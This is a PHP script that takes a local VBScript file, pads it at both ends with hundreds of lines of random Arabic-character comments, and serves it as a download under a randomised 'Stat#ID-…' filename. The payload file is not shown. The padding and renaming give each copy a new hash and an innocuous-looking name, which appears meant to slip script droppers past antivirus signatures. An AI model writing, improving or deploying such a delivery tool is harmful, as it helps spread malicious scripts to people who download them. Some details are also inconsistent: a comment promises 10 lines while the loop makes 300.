<?php
$directory = "C:/xampp/htdocs/files/";
$filename = "Script.vbs"; // استبدل "اسم_الملف_الذي_تريده.ps1" بالاسم المطلوب
$file = $directory . $filename;

if (!file_exists($file)) {
    die("File not found.");
}

$randomNumber = rand(1000, 9999); // Adjust the range as needed

$randomLetters = chr(rand(65, 90)) . chr(rand(65, 90)); // A-Z in ASCII

$randomFilename = "Stat#ID-{$randomNumber}{$randomLetters}.vbs";

// Function to generate a random line
function generateRandomLine() {
    $characters = 'أَ بَ تَ ثَ جَ حَ خَ دَ ذَ رَ زَ سَ شَ صَ ضَ طَ ظَ عَ غَ فَ قَ كَ لَ مَ نَ هَ وَ يَ أُ بُ تُ ثُ جُ حُ خُ دُ ذُ رُ زُ سُ شُ صُ ضُ طُ ظُ عُ غُ فُ قُ كُ لُ مُ نُ هُ وُ يُ إِ بِ تِ ثِ جِ حِ خِ دِ ذِ رِ زِ سِ شِ صِ ضِ طِ ظِ عِ غِ فِ قِ كِ لِ مِ نِ هِ وِ يِ أْ بْ تْ ثْ جْ حْ خْ دْ ذْ رْ زْ سْ شْ صْ ضْ طْ ظْ عْ غْ فْ قْ كْ لْ مْ نْ هْ وْ يْ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < 200; $i++) { // Adjust the length as needed
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return "'" . $randomString . "\n";
}

// Read the original file content
$originalContent = file_get_contents($file);

// Generate 10 random lines for the beginning and end
$randomLines = '';
for ($i = 0; $i < 300; $i++) {
    $randomLines .= generateRandomLine();
}

// Create the new content with random lines added
$newContent = $randomLines . $originalContent . $randomLines;

// Write the new content to a temporary file
$tempFile = tempnam(sys_get_temp_dir(), 'vbs_');
file_put_contents($tempFile, $newContent);

header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"" . basename($randomFilename) . "\"");
header("Expires: 0");
header("Cache-Control: must-revalidate");
header("Pragma: public");
header("Content-Length: " . filesize($tempFile));

ob_clean();
flush();

readfile($tempFile);

// Delete the temporary file after download
unlink($tempFile);

exit;
?>
